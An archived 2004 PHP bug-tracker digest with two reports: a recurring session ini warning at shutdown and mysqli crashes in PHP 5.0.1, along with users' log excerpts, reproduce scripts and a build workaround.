[27-Aug-2004 16:19:29] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 16:19:30] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 Any news about how I can fix that? Previous Comments: [2004-06-09 22:58:52] [EMAIL PROTECTED] Try upgrading to the latest stable release (4.3.7 ATM) and avoid using Apache2 in production environments, the docs already warned you about it and you must have known, that Apache2 with PHP is unstable ATM. [2004-06-09 22:41:29] carlos dot mafla at calipso dot com dot co I got that warning too with some php scripts ...( Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 ). The scripts are the same and are placed in two different servers, one with php 4.3.1 and apache 1.3 and the other one with php 4.3.3 and apache 2, the first one works fine without any problem but when i put it in the second one i got that warning ... so i know its not an script warning, but i dont know how to fix it... please help because we are now upgrading other servers to apache 2 and php 4.3.3.. thanx carlos mafla from colombia [2003-05-28 02:02:24] eric dot ritchie at dorten dot com I think I
#21306 [NoF-Opn]: warnning about cannot change the session settings
ID: 21306 User updated by: Xuefer at 21cn dot com Reported By: Xuefer at 21cn dot com -Status: No Feedback +Status: Open Bug Type: Session related Operating System: linux -PHP Version: 4.3.0 +PHP Version: 4.3.7 New Comment: i can confirm it in new php however, this bug maybe relatived to: http://bugs.php.net/?id=28708 NOSPAMdr_lucas: do u do custom session save handler? or register_shutdown_function? Previous Comments: [2004-08-28 07:09:39] NOSPAMdr_lucas at hotmail dot com Hello, I am using oscommerce version 2.2 MS2 on: HTTP Server:Apache/1.3.31 (Unix) mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 FrontPage/5.0.2.2634a mod_ssl/2.8.19 OpenSSL/0.9.7a PHP Version:4.3.8 (Zend: 1.3.0) I am having the same exact problem. Watching my error.log shows many occurances of this error message: [27-Aug-2004 08:17:23] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 08:17:24] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 08:17:24] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 08:17:25] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 08:17:26] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 11:37:45] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 11:37:46] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 11:37:46] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 11:37:47] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 11:37:47] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 14:01:15] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 14:01:15] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 14:01:16] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 14:01:17] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 14:01:17] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 16:19:27] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 16:19:28] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 16:19:29] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 16:19:29] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 [27-Aug-2004 16:19:30] PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 Any news about how I can fix that? [2004-06-09 22:58:52] [EMAIL PROTECTED] Try upgrading to the latest stable release (4.3.7 ATM) and avoid using Apache2 in production environments, the docs already warned you about it and you must have known, that Apache2 with PHP is unstable ATM. [2004-06-09 22:41:29] carlos dot mafla at calipso dot com dot co I got that warning too with some php scripts ...( Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 ). The scripts are the same and are placed in two different servers, one with php 4.3.1 and apache 1.3 and the other one with php 4.3.3 and apache 2, the first one works fine without any problem but when i put it in the second one i
#29667 [Opn]: mysqli functions do not work in 5.0.1
ID: 29667 User updated by: yrob at mail dot crpower dot com Reported By: yrob at mail dot crpower dot com Status: Open Bug Type: MySQL related Operating System: Linux 2.6.5-7.104-default PHP Version: 5.0.1 New Comment: Solution found, and it works! See the comment on this page: http://us4.php.net/manual/en/install.unix.php jan dot mentzel at raumcomputer dot com 19-Jul-2003 06:01 Create a directory mysql e.g. in /usr/local/lib mkdir /usr/local/lib/mysql and create symlinks include and lib pointing to the original directories (here /usr/include/mysql and /usr/lib/mysql) cd /usr/local/lib/mysql ln -s /usr/include/mysql include ln -s /usr/lib/mysql lib Now, go back to where you extracted the PHP-source and call configure again, telling it to search in /usr/local/lib/mysql for the mysql-client stuff. ./configure --with-mysql=/usr/local/lib/mysql ... Previous Comments: [2004-08-23 19:47:33] helge at eco-logic-software dot de I'm experiencing a similar problem regarding MySQLi (4.1.3) and PHP 5.0.1: $res = $mymysqliobject-query(select * from table) works just fine but $res-num_rows crashes PHP (segfault, apache reports signal 11). It is reproducible by using the demo script given at http://www.zend.com/php5/articles/php5-mysqli2.php and replacing the line var_dump($result-fetch_row()); by echo $result-num_rows;. [2004-08-15 14:37:22] alatar_ at mail dot ru PHP crash with exit signal Segmentation fault (11) when I try mysqli-query For example this script doesn`t work ?php $db_host = 127.0.0.1; $db_user = test; $db_pass = test123; $db_name = test; $db = new mysqli($db_host, $db_user, $db_pass, $db_name); $num = $db-query(SELECT uid FROM test WHERE flag = 'TRUE')-num_rows; echo $num flagsbr; $db-close(); echo okbr; ? But this script is work ?php $db_host = 127.0.0.1; $db_user = test; $db_pass = test123; $db_name = test; $db = mysqli_connect($db_host, $db_user, $db_pass, $db_name); $res = mysqli_query($db, SELECT uid FROM test WHERE flag = 'TRUE'); $num = mysqli_num_rows($res); echo $num flagsbr; echo okbr; ? I`m using php 5.0.1, mysql 4.1.3-beta, FreeBSD 5.1 [2004-08-15 01:13:08] ghostfacekillaz at gmx dot net Description: I'm using MySQL 4.1.3-beta For me the mysqli functions work. There's just a different behavior I found between PHP 5.0.0 and PHP 5.0.1 in function mysqli_fetch_array Example: SQL-Statement: SHOW TABLES FROM databasename mysqli_fetch_array (PHP 5.0.0) returns: [0] = tablename mysqli_fetch_array (PHP 5.0.1) returns: [Tables_in_databasename] = tablename [2004-08-14 00:26:27] yrob at mail dot crpower dot com Description: I'm using MySQL 5.0.1. The main problem here is that now the mysqli functions don't work. Configuration, make, and make install run just fine. When I try to load a web page, nothing displays (displayed just fine using PHP 5.0.0). When I use the CLI on PHP 5.0.1 to test the web page, it seems to run just fine. Had to go back to PHP 5.0.0 so my mysqli functions will work. The other problem is that I wasn't able to get mysql functions to work at all. It wouldn't even pass configuration --with-mysql=/usr/lib/mysql. Configuration said it couldn't find libmysql, though I pointed it directly to the MySQL 5.0.1 library directory. Reproduce code: --- $db = new mysqli( 'dbhost', 'username', 'pw'); if (!$db) { printf(Connect failed: %s\n, mysqli_connect_error()); exit(); } $db-select_db(dbname); $sql = SELECT * FROM test; $select = $db-query( $sql ); $result = $select-fetch_array(MYSQLI_BOTH); $something = $result['something']; Expected result: Loaded web page. Actual result: -- Web page does not load, but the CLI runs just fine. -- Edit this bug report at http://bugs.php.net/?id=29667edit=1